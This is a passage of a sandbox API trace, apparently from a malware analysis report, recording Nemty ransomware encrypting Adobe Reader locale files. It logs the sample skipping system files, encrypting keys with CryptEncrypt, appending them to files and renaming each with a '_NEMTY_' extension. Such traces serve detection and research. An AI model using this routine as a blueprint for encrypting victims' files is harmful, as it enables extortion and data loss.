Flags=0x0, Size=0x167) returned 0x6340048 [0179.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Annots.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\annots.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.383] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=355328) returned 1 [0179.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.383] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.383] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.392] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.392] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.392] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.393] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=355328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x56c00 [0179.393] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.394] CloseHandle (hObject=0x2e8) returned 1 [0179.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.394] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.394] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.394] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.394] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Annots.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\annots.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Annots.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\annots.kor._nemty_kgobjgd_")) returned 1 [0179.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.395] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.396] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.396] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.KOR", cAlternateFileName="BRDLAN~1.KOR")) returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2=".") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="..") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="...") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="windows") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="rsa") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="NTDETECT.COM") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="ntldr") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="MSDOS.SYS") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="IO.SYS") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="boot.ini") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="boot.ini") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="ntuser.dat") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="desktop.ini") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="CONFIG.SYS") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="RECYCLER") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="bootmgr") returned 1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="programdata") returned -1 [0179.396] lstrcmpiW (lpString1="BRdlang32.KOR", lpString2="appdata") returned 1 [0179.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.396] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.396] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.397] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.KOR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.KOR", lpUsedDefaultChar=0x0) returned 13 [0179.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.397] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.397] Sleep (dwMilliseconds=0x5) [0179.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e938930, dwHighDateTime=0x1d561e8)) [0179.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e938930, dwHighDateTime=0x1d561e8)) [0179.398] GetLastError () returned 0x0 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.398] GetLastError () returned 0x0 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.398] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.398] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.398] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="tS5Qwd7dmgVHLylfdKSD3qD/jvyHRi9Nhaehz8S8ox6p9VI8UKfWwgzpibkeCJim\r\nYYNCpS7rO36RrM3dklCx4uXrME6SzOcRMo2+VfCiknQjKfaQKSZ41VzF79bk2J9G\r\n7ELPss2vCS0uS/ExQBnOe1ex5uxf+0Y4nAb/7B4vKDkkLY1I0zUl0SQAqCrLtP0K\r\nBx+GYzXy7RTBhL5IeXgR2YqTDpcgl65O+rhDVegc+mWF7g20qE3boCw5sxsnmgCD\r\nu6qIYjDIA58jPfr+WSjgHi06EQuggs20IyBKWXXPyxpro51Pbhuh6XdLxggs8Sym\r\n15NRLUK/rKNm/5N/ukj1BA==\r\n", pcchString=0x653e5dc) returned 1 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.398] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.398] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.398] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.399] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=9216) returned 1 [0179.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2400) returned 0x6352c48 [0179.399] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.399] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2400, lpOverlapped=0x0) returned 1 [0179.401] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.401] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2400, lpOverlapped=0x0) returned 1 [0179.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.401] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=9216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2400 [0179.401] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.401] CloseHandle (hObject=0x2e8) returned 1 [0179.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.402] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor._nemty_kgobjgd_")) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.403] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.KOR", cAlternateFileName="")) returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2=".") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="..") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="...") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="windows") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="rsa") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="NTDETECT.COM") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="ntldr") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="MSDOS.SYS") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="IO.SYS") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="boot.ini") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="boot.ini") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="ntuser.dat") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="desktop.ini") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="CONFIG.SYS") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="RECYCLER") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="BOOTSECT.BAK") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="bootmgr") returned 1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="programdata") returned -1 [0179.403] lstrcmpiW (lpString1="Checkers.KOR", lpString2="appdata") returned 1 [0179.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.403] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.403] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.403] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.404] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.404] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.404] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.404] Sleep (dwMilliseconds=0x5) [0179.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e95ea90, dwHighDateTime=0x1d561e8)) [0179.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e95ea90, dwHighDateTime=0x1d561e8)) [0179.413] GetLastError () returned 0x0 [0179.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.413] GetLastError () returned 0x0 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.414] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.414] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.414] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.414] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.414] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 